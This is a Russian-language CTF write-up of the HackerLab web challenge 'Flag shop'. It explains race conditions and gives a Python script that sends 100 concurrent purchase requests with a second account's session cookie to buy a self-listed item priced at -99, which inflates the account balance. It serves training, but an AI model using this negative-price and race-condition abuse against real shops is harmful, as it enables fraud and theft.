Writeup Web | Flag shop | HackerLab

hackerlabflagshop.webp

Название: Flag shop
Категория: Web
Уровень: Средний
Ссылка на задание: https://hackerlab.pro/categories/web/77d1b94d-feee-4a16-a261-b17dd043a8e7
Баллы: 500


Reconnaissance

Мы видим маркетплейс с некоторыми товарами для покупки, создаём аккаунт и авторизируемся. На нашем счету есть $100 и мы можем что-нибудь купить. Для примера я купил Bad USB. $20 улетели - товара нет.
1781220385009.webp

Давайте попробуем просканировать маркетплейс на наличие скрытых директорий.
1781220423798.webp
Оказывается, мы можем сами продавать товары, давайте посмотрим что внутри.
1781220507197-webp.83954

Мы можем выставить свой товар и сразу же получаем на него ссылку с уникальным ID. Так... Пазл начинает складываться, мы можем продать товар, купить товар... это же Race Condition!
Race Condition возникает, когда поведение системы зависит от непредсказуемой последовательности или времени неконтролируемых событий, например, от одновременного доступа нескольких потоков или процессов к общим ресурсам. Оно становится ошибкой, когда результат зависит от того, какой процесс «выиграет гонку», чтобы финишировать первым, что приводит к неожиданным ошибкам или повреждению данных. Проще говоря, это уязвимость, которая возникает, когда программа делает несколько действий почти одновременно, а хакер успевает вклиниться между ними. Из-за большой скорости запросов порядок (сначала А, потом Б) нарушается.


Exploitation

Скорее всего, мы не можем покупать собственные товары "так оно и есть". Но ничего ведь нам не запрещает создать 2 аккаунт. На первом аккаунте создаём товар с ценником $-99 потому что:
  1. -99, потому что ограничение в 3 символа
  2. минус потому, что если мы продаём товар за отрицательную цену, система при вычитании отрицательного числа может прибавить эту сумму к нашему балансу.
Теперь сохраняем его ID и авторизируемся во 2 аккаунт, берём из него куки и вставляем в этот код:
Python:
import requests as r
import threading as t

def main():
    cust_cookie = {"session": "ВАША_СЕССИЯ_2_АККАУНТА"}

    res = r.post('http://62.173.140.174:16103/buy/ID_ТОВАРА', cookies=cust_cookie)
    print(res.text, res.content)

if __name__=="__main__":
  threads = []
  x = 0
  while x < 100:
    x+=1
    thread = t.Thread(target=main)
    threads.append(thread)
    thread.start()
        #print(res.content)
  for thread in threads:
    thread.join()
И запускаем данную программу раз 5-6 и после этого видим что наш баланс увеличился.
1781221292410.webp

И покупаем заветный секретный девайс!
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →

Популярный контент

🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab